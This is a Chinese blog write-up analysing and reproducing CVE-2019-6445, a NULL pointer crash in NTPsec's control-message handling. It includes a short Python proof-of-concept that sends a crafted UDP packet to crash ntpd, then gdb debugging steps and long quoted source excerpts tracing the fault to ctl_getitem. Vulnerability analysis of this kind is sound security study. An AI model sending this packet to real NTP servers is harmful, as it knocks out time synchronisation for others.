Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

软件介绍

NTPsec是一个基于网络时间协议(Network Time Protocol,NTP)的开源时间同步软件项目。它是对传统的NTP软件的重新实现,旨在提供更高的安全性、可靠性和性能。

NTP是用于在计算机网络中同步时钟的协议,它允许计算机通过网络获取准确的时间信息。传统的NTP实现存在一些安全和可靠性方面的问题,例如容易受到网络攻击和时间信息伪造。NTPsec项目致力于解决这些问题,并改进NTP软件的功能。

NTPsec项目的目标是提供一个更安全、更现代化、更易于维护的NTP实现。它采用了更严格的代码审查和安全措施,修复了安全漏洞,并改进了协议的可靠性和性能。NTPsec还通过支持新的网络安全特性,如Network Time Security(NTS),提供了更强大的安全保护。

NTPsec的开发始于2014年,由一群志愿者开发者组成的团队共同推动。该项目是开源的,遵循自由软件许可证(类似于BSD许可证)。它在Linux、Unix和类似系统上可用,并广泛用于服务器、网络设备和其他需要准确时间同步的系统中。

漏洞描述

NTPsec是一个网络时间协议的实现。

NTPsec 1.1.3之前版本中的ntp_control.c文件存在空指针逆向引用漏洞。攻击者可利用该漏洞造成tpd崩溃。

漏洞原因

poc:https://github.com/snappyJack/CVE-2019-8936/

源码:https://github.com/ntpsec/ntpsec/releases/tag/NTPsec_1_1_2

POC

1
2
3
4
5
6
7
8
9
10
11
12
13

\#!/usr/bin/env python
\# note this PoC exploit uses keyid 1, password: gurka

import sys
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
"\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

漏洞复现

踩坑

1.安装root权限启动buildprep

2.提示没有安装bsion

3.安装更新出错,dhcp

4.安装bison

5.配置configure,设置成允许调试,这里一定要加上编译时的ldflags,不然会报错未定义的引用’_asan_init_v4’

6.安装asan

7.修改配置文件ntp.conf

kyes文件

8.gdb启动调试,报错

复现过程

1.ubuntu22换成ubuntu18换成服务器Cento都报错,然后又换成ubuntu18,不过这次找到是的是ntp1.1.2的官方仓库下载的源码:https://github.com/ntpsec/ntpsec/releases/tag/NTPsec_1_1_2

2.解压tar文件tar -zxvf ./ntpsec-NTPsec_1_1_2.tar.gz

3.构建准备buildprep

4.编译并且允许对其进行调试./waf configure –enable-debug –enable-debug-gdb

5.查找配置文件位置,启动编译好的文件需要找个选项find / -name “ntp.conf”

6.gdb启动并且下断点 sudo gdb –args ./build/main/ntpd/ntpd -n -c ./packaging/SUSE/ntp.conf b ctl_getitem r

7.发现已经运行了,端口是123

另外一个终端执行poc,注意是python2

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka
import sys
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
"\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

8.卡到这里了

rdi指针是空的

9.查看valuep发现指针是空的,这里明显是对空指针进行了引用

10.对源码分析可以发现源码变量valuep在这之前只有两处引用,而且这两次都是经过ctl_getitem函数处理之后,所以ctl_getitem函数有问题

11.为了验证猜想在源码2911行下断点,然后重新执行poc可以看到现在指针非空

通过ni对汇编层面进行调试到ctl_getitem函数

然后ni finish跳出函数,观察valuep的值

由此可以得出确实是ctl_getitem函数导致了空指针的产生

技巧:这里如何对源码和汇编同时进行调试呢?

通过ni si 对汇编进行调试

通过n s 对源码进行调试

\12. 对问题函数ctl_getitem进行分析,这次进入函数内部用gdb进行分析

a. 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
/*
\* ctl_getitem - get the next data item from the incoming packet
*/
static const struct ctl_var *
ctl_getitem(
const struct ctl_var *var_list,
char **data
)
{
/* [Bug 3008] First check the packet data sanity, then search
\* the key. This improves the consistency of result values: If
\* the result is NULL once, it will never be EOV again for this
\* packet; If it's EOV, it will never be NULL again until the
\* variable is found and processed in a given 'var_list'. (That
\* is, a result is returned that is neither NULL nor EOV).
*/
static const struct ctl_var eol = { 0, EOV, NULL };
static char buf[128];
static u_long quiet_until;
const struct ctl_var *v;
char *cp;
char *tp;

/*
\* Part One: Validate the packet state
*/

/* Delete leading commas and white space */
while (reqpt < reqend && (*reqpt == ',' ||
isspace((unsigned char)*reqpt)))
reqpt++;
if (reqpt >= reqend)
return NULL;

/* Scan the string in the packet until we hit comma or
\* EoB. Register position of first '=' on the fly. */
for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
if (*cp == '=' && tp == NULL)
tp = cp;
if (*cp == ',')
break;
}

/* Process payload, if any. */
*data = NULL;
if (NULL != tp) {
/* eventually strip white space from argument. */
const char *plhead = tp + 1; /* skip the '=' */
const char *pltail = cp;
size_t plsize;

while (plhead != pltail && isspace((u_char)plhead[0]))
++plhead;
while (plhead != pltail && isspace((u_char)pltail[-1]))
--pltail;

/* check payload size, terminate packet on overflow */
plsize = (size_t)(pltail - plhead);
if (plsize >= sizeof(buf))
goto badpacket;

/* copy data, NUL terminate, and set result data ptr */
memcpy(buf, plhead, plsize);
buf[plsize] = '\0';
*data = buf;
} else {
/* no payload, current end --> current name termination */
tp = cp;
}

/* Part Two
*
\* Now we're sure that the packet data itself is sane. Scan the
\* list now. Make sure a NULL list is properly treated by
\* returning a synthetic End-Of-Values record. We must not
\* return NULL pointers after this point, or the behaviour would
\* become inconsistent if called several times with different
\* variable lists after an EoV was returned. (Such a behavior
\* actually caused Bug 3008.)
*/

if (NULL == var_list)
return &eol;

for (v = var_list; !(EOV & v->flags); ++v)
if (!(PADDING & v->flags)) {
/* Check if the var name matches the buffer. The
\* name is bracketed by [reqpt..tp] and not NUL
\* terminated, and it contains no '=' char. The
\* lookup value IS NUL-terminated but might
\* include a '='... We have to look out for
\* that!
*/
const char *sp1 = reqpt;
const char *sp2 = v->text;

/* [Bug 3412] do not compare past NUL byte in name */
while ( (sp1 != tp)
&& ('\0' != *sp2) && (*sp1 == *sp2)) {
++sp1;
++sp2;
}
if (sp1 == tp && (*sp2 == '\0' || *sp2 == '='))
break;
}

/* See if we have found a valid entry or not. If found, advance
\* the request pointer for the next round; if not, clear the
\* data pointer so we have no dangling garbage here.
*/
if (EOV & v->flags)
*data = NULL;
else
reqpt = cp + (cp != reqend);
return v;

badpacket:
/*TODO? somehow indicate this packet was bad, apart from syslog? */
numctlbadpkts++;
NLOG(NLOG_SYSEVENT)
if (quiet_until <= current_time) {
quiet_until = current_time + 300;
msyslog(LOG_WARNING,
"Possible 'ntpdx' exploit from %s#%" PRIu16 " (possibly spoofed)",
socktoa(rmt_addr), SRCPORT(rmt_addr));
}
reqpt = reqend; /* never again for this packet! */
return NULL;
}


/*
\* control_unspec - response to an unspecified op-code
*/
/*ARGSUSED*/
static void
control_unspec(
struct recvbuf *rbufp,
int restrict_mask
)
{
struct peer *peer;

UNUSED_ARG(rbufp);
UNUSED_ARG(restrict_mask);

/*
\* What is an appropriate response to an unspecified op-code?
\* I return no errors and no data, unless a specified association
\* doesn't exist.
*/
if (res_associd) {
peer = findpeerbyassoc(res_associd);
if (NULL == peer) {
ctl_error(CERR_BADASSOC);
return;
}
rpkt.status = htons(ctlpeerstatus(peer));
} else
rpkt.status = htons(ctlsysstatus());
ctl_flushpkt(0);
}

b. 可以看出来这个函数第二个参数是被修改的对象,所以对data进行追踪,这里是二级指针,我们最后是因为valuep的值是0,所以导致原因是*data被赋值成0返回了。调试前valuep的值

再*data引用的位置下断点然后继续跟,发现还是这个值

第一次处理就变成了0

然后在第二个处理的地方下断点发现不会执行,导致了指针为空

往前回溯可以发现因为tp指针被设置成0导致if语句没有被执行,那为什么呢?跟进tp指针,可以发现这里要求字符串有等号,但是没有,通过查看内存十六进制,可以发现就是poc的值没有等号导致的

至此,分析完毕

c. 验证,如果我们在paylaod里面放入”=”,是不是就不会触发漏洞呢?真怪,这里把buf随便修改,但凡只要有等号就在gdb停不住,这个确实有点迷惑,等以后水平提高了再来学习

收货点

\1. 下载官方源码或者换平台,不然容易环境特别难配

\2. 用gdb调试的时候注意ni n si s p打印变量的混合使用

参考链接

CVE-2019-6445分析复现 - 先知社区

CVE-2019-6445分析

阿里云漏洞库

再理解

我们这里主要分析 source 点 到 sink 点的路径 ,以及程序对数据包如何解析,最终导致了漏洞的触发

bt查看调用链

函数调用链

1
2
3
4
5
6
main ntpd.c :426

int main(int argc, char *argv[])
{
return ntpdmain(argc, argv);
}

ntpdmain ntpd.c :109

守护进程的主函数

static int ntpdmain(int, char **) attribute((noreturn));

\1. static int: 这里 static 关键字表明 ntpdmain 函数的可见范围仅限于当前文件。这意味着该函数只能在这个文件内部被调用,不能被其他文件中的代码访问。int 表明该函数返回一个整型值。

\2. ntpdmain: 这是函数的名字。

\3. (int, char **): 这指定了 ntpdmain 函数接受的参数类型。这里它接受两个参数,第一个是整型,通常用来表示程序启动时的参数个数,第二个是指向字符指针的指针,通常用来传递程序启动时的参数列表。

\4. attribute((noreturn)): 这是一个编译器属性,它告诉编译器这个函数不会正常返回控制流到调用者。也就是说,一旦进入这个函数,它就会一直运行下去,直到程序终止。通常这样的函数会有一个无限循环或者会调用 exit() 函数来结束整个程序。

mainloop ntpd.c:911

这段代码定义了一个 mainloop 函数,它是 NTP 守护进程的主要循环。这个函数将一直监听和处理网络数据包,直到程序被中断或退出。由于 mainloop 函数不会正常返回,所以调用它的位置之后的任何代码都不会被执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
\* Process incoming packets until exit or interrupted.
*/
static void mainloop(void)



struct recvbuf *rbuf;
rbuf = get_full_recv_buffer(); // 获取一个接收到的数据包
while (rbuf != NULL) { // 当获取到的数据包不为空时
if (sig_flags.sawALRM) { // 检查是否有定时器到期信号
timer(); // 如果有定时器到期信号,处理定时器到期
sig_flags.sawALRM = false; // 清除定时器到期信号标志
}
/*
\* Call the data procedure to handle each received packet.
*/
if (rbuf->receiver != NULL) { // 检查数据包是否有关联的接收回调函数
\#ifdef ENABLE_DEBUG_TIMING
l_fp dts = pts;
dts -= rbuf->recv_time; // 计算处理延迟
DPRINT(2, ("processing timestamp delta %s (with prec. fuzz)\n", lfptoa(dts, 9))); // 输出处理延迟
collect_timing(rbuf, "buffer processing delay", 1, dts); // 收集处理延迟统计
bufcount++; // 增加缓冲区计数
\#endif
(*rbuf->receiver)(rbuf); // 调用接收回调函数处理数据包
} else {
msyslog(LOG_ERR, "ERR: fatal: receive buffer callback NULL"); // 日志记录:致命错误,接收缓冲区回调函数为空
abort(); // 强制退出程序
}

freerecvbuf(rbuf); // 释放接收缓冲区
rbuf = get_full_recv_buffer(); // 获取下一个接收到的数据包
}

receive ntp_proto.c:676

这个receive函数就是我们需要分析的重点了,这个就是程序的source点,是我们网络数据包进入程序的地方。

输入来自于一个结构体struct recvbuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct recvbuf {
recvbuf_t * link; /* next in list */
sockaddr_u recv_srcadr;
sockaddr_u srcadr;  /* where packet came from */
struct netendpt * dstadr;  /* address pkt arrived on */
SOCKET  fd;  /* fd on which it was received */
l_fp  recv_time; /* time of arrival */
void  (*receiver)(struct recvbuf *); /* callback */
size_t  recv_length; /* number of octets received */
union {
struct pkt X_recv_pkt;
uint8_t  X_recv_buffer[RX_BUFF_SIZE];
} recv_space;
#define recv_pkt  recv_space.X_recv_pkt
#define recv_buffer  recv_space.X_recv_buffer
struct parsed_pkt pkt;  /* host-order copy of data from wire */
int used;  /* reference count */
bool keyid_present;
keyid_t keyid;
int mac_len;
#ifdef REFCLOCK
bool network_packet;
struct peer * recv_peer;
#endif /* REFCLOCK */
};

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct recvbuf {
recvbuf_t * link; /* next in list */
sockaddr_u recv_srcadr;
sockaddr_u srcadr;  /* where packet came from */
struct netendpt * dstadr;  /* address pkt arrived on */
SOCKET  fd;  /* fd on which it was received */
l_fp  recv_time; /* time of arrival */
void  (*receiver)(struct recvbuf *); /* callback */
size_t  recv_length; /* number of octets received */
union {
struct pkt X_recv_pkt;
uint8_t  X_recv_buffer[RX_BUFF_SIZE];
} recv_space;
#define recv_pkt  recv_space.X_recv_pkt
#define recv_buffer  recv_space.X_recv_buffer
struct parsed_pkt pkt;  /* host-order copy of data from wire */
int used;  /* reference count */
bool keyid_present;
keyid_t keyid;
int mac_len;
#ifdef REFCLOCK
bool network_packet;
struct peer * recv_peer;
#endif /* REFCLOCK */
};

通过调试我们得到我们发送的数据包存到了这里,一个是解析的结构体,一个是数组,我们来观察这个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct recvbuf {
recvbuf_t * link; /* next in list */
sockaddr_u recv_srcadr;
sockaddr_u srcadr;  /* where packet came from */
struct netendpt * dstadr;  /* address pkt arrived on */
SOCKET  fd;  /* fd on which it was received */
l_fp  recv_time; /* time of arrival */
void  (*receiver)(struct recvbuf *); /* callback */
size_t  recv_length; /* number of octets received */
union {
struct pkt X_recv_pkt;
uint8_t  X_recv_buffer[RX_BUFF_SIZE];
} recv_space;
#define recv_pkt  recv_space.X_recv_pkt
#define recv_buffer  recv_space.X_recv_buffer
struct parsed_pkt pkt;  /* host-order copy of data from wire */
int used;  /* reference count */
bool keyid_present;
keyid_t keyid;
int mac_len;
#ifdef REFCLOCK
bool network_packet;
struct peer * recv_peer;
#endif /* REFCLOCK */
};

时间戳信息

  • 包含多个时间戳字段,如reftime(最后一次更新时间)、org(起源时间戳)、rec(接收时间戳)和xmt(发送时间戳)。

  • 时钟和精度信息:包含stratum(层次级别)、ppoll(轮询间隔)和precision(时钟精度)等字段,用于描述时间源的质量和状态。

  • 延迟和分散度:包含rootdelay(往返延迟)和rootdisp(分散度)等字段,用于描述到主时间源的延迟和误差。

  • 扩展字段:包含一个名为exten的数组,用于存储认证信息等扩展字段。这些字段可以包含不同长度的消息认证码(MAC),如MD5或SHA哈希值。

  • 内存对齐:

    结构体末尾的__attribute__((aligned))确保结构体按照一定的对齐方式进行存储,以优化内存访问速度。

process_control ntp_control.c: 898

漏洞触发的路径中,在receive函数中的数据处理中,数据流向了控制包处理中。

process_control 函数主要用于处理接收到的控制消息。在 NTP(Network Time Protocol)或其他类似协议中,控制消息通常用于管理和监控目的,而不是用于时间同步。这类消息可能包含诊断信息、配置命令或其他管理功能。

1
2
3
4
5
if(is_control_packet(rbufp)) {
process_control(rbufp, restrict_mask);
stat_count.sys_processed++;
goto done;
}
1
2
3
4
5
6
7
8
9
static bool is_control_packet
(
struct recvbuf const* rbufp
)
{
return rbufp->recv_length >= 1 &&
PKT_VERSION(rbufp->recv_space.X_recv_buffer[0]) <= 4 &&
PKT_MODE(rbufp->recv_space.X_recv_buffer[0]) == MODE_CONTROL;
}

1
2
3
4
5
6
7
8
/*
\* process_control - process an incoming control message
*/
void
process_control(
struct recvbuf *rbufp,
int restrict_mask
)

根据函数调用栈,数据所流向了这个函数处理模块,对两个结构体进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
\* Look for the opcode processor
*/
for (cc = control_codes; cc->control_code != NO_REQUEST; cc++) {
if (cc->control_code == res_opcode) {
DPRINT(3, ("opcode %d, found command handler\n",
res_opcode));
if (cc->flags == AUTH
&& (NULL == res_auth
|| res_auth->keyid != ctl_auth_keyid)) {
ctl_error(CERR_PERMISSION);
return;
}
(cc->handler)(rbufp, restrict_mask);
return;
}
}

struct ctl_proc 是一个用于存储请求处理程序信息的结构体。它用于定义和组织处理不同控制消息所需的信息。这个结构体在处理控制消息时起到了关键作用,因为它将操作码、标志位和处理函数关联起来,使得程序可以根据接收到的操作码快速定位并执行相应的处理逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
\* Structure to hold request procedure information
*/

struct ctl_proc {
short control_code; /* defined request code */
\#define NO_REQUEST (-1)
unsigned short flags; /* flags word */
/* Only one flag. Authentication required or not. */
\#define NOAUTH 0
\#define AUTH 1
void (*handler) (struct recvbuf *, int); /* handle request */
};

static const struct ctl_proc control_codes[] 是一个静态常量数组,用于存储一组预定义的控制消息处理信息。这个数组中的每个元素都是一个 struct ctl_proc 类型的结构体,用于定义控制消息的操作码、标志和处理函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
static const struct ctl_proc control_codes[] = {
{ CTL_OP_UNSPEC, NOAUTH, control_unspec },
{ CTL_OP_READSTAT, NOAUTH, read_status },
{ CTL_OP_READVAR, NOAUTH, read_variables },
{ CTL_OP_WRITEVAR, AUTH, write_variables },
{ CTL_OP_READCLOCK, NOAUTH, read_clockstatus },
{ CTL_OP_WRITECLOCK, NOAUTH, write_clockstatus },
{ CTL_OP_CONFIGURE, AUTH, configure },
{ CTL_OP_READ_MRU, NOAUTH, read_mru_list },
{ CTL_OP_READ_ORDLIST_A, AUTH, read_ordlist },
{ CTL_OP_REQ_NONCE, NOAUTH, req_nonce },
{ NO_REQUEST, 0, NULL }
};

如果要想数据进入write_variables函数,必须处理以下操作码和操作数

{ CTL_OP_WRITEVAR, AUTH, write_variables }

只要是处理这个函数那一定会执行write_variables 函数

(cc->handler)(rbufp, restrict_mask);

write_variables ntp_control.c: 2930

这段代码定义了一个名为 write_variables 的函数,用于处理写入变量的操作。该函数接收两个参数:struct recvbuf *rbufp 和 int restrict_mask。函数的主要任务是从接收到的数据包中解析出变量名和值,并根据这些信息更新系统中的变量。

1
2
3
4
5
6
7
8
9
10
/*
\* write_variables - write into variables. We only allow leap bit
\* writing this way.
*/
/*ARGSUSED*/
static void
write_variables(
struct recvbuf *rbufp,
int restrict_mask
)
1
2
UNUSED_ARG(rbufp);
UNUSED_ARG(restrict_mask);

这两行代码用来标记 rbufp 和 restrict_mask 参数在函数内部没有被使用,这是为了满足编译器关于未使用的参数警告的要求。

思考漏洞成因

当然分析到这块可以发现,我们的poc和漏洞的直接触发没有关系,它的作用只是作为一个认证触发漏洞这个函数的条件,这样分析,只是想把数据包的运行过程说明白,以后遇到类似的问题可以知道怎么分析

但是根据我们之前的分析,这个函数指针为空的原因就是没有运行后面的if判断,而导致的直接原因就是数据包的数据内容导致的

1
2
3
4
5
6
7
8
/* Scan the string in the packet until we hit comma or
\* EoB. Register position of first '=' on the fly. */
for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
if (*cp == '=' && tp == NULL)
tp = cp;
if (*cp == ',')
break;
}

这段代码的作用是从接收到的数据包中扫描一段字符串,直到遇到逗号(,)或字符串的末尾(EoB,End of Buffer)。同时,它还会记录第一个等号(=)的位置。这样的扫描主要用于解析控制消息中的变量名和值

但是我们在之前的解析当中并没有发现这块的路径,即数据包是如何被传进来的?一下函数都是ntp_control.c

向上分析找到数据的传入点

继续寻找定义

继续跟踪函数定义,解析数据函数,将收到的数据传输到了pkt->data这段代码定义了一个名为 unmarshall_ntp_control 的函数,其作用是从接收到的数据包中解析出 NTP 控制信息,并将其存储在一个 struct ntp_control 结构体中。这个函数将接收到的数据流转换成结构化的形式,便于后续处理。

在函数中的开始阶段,保存错误响应的地址,已经调用了解析函数

经过调试也可以得到,这里的数据经过复制以后给到了pkt.data的地方

这里面没有逗号导致一直tp一直为空,if条件没有执行,data为空

二维指针导致这里访问空地址

至此我们的数据从source点到sink点的路径一目了然了,下面做梳理路径

1
2
3
4
5
6
7
// 程序流程
main -> ntpdmain->mainloop—>receive -> process_control -> unmarshall_ntp_control(pkt_core) -> (pkt=&pkt_core->reqpt) -> (reqpt=(char *)pkt->data) -> write_variables -> ctl_getitem
// 数据流向
receive -> process_control -> unmarshall_ntp_control(pkt_core) -> (pkt=&pkt_core->reqpt) -> (reqpt=(char *)pkt->data) -> write_variables -> ctl_getitem
// 漏洞触发
ctl_getitem导致空指针
write_variables引用空指针

评论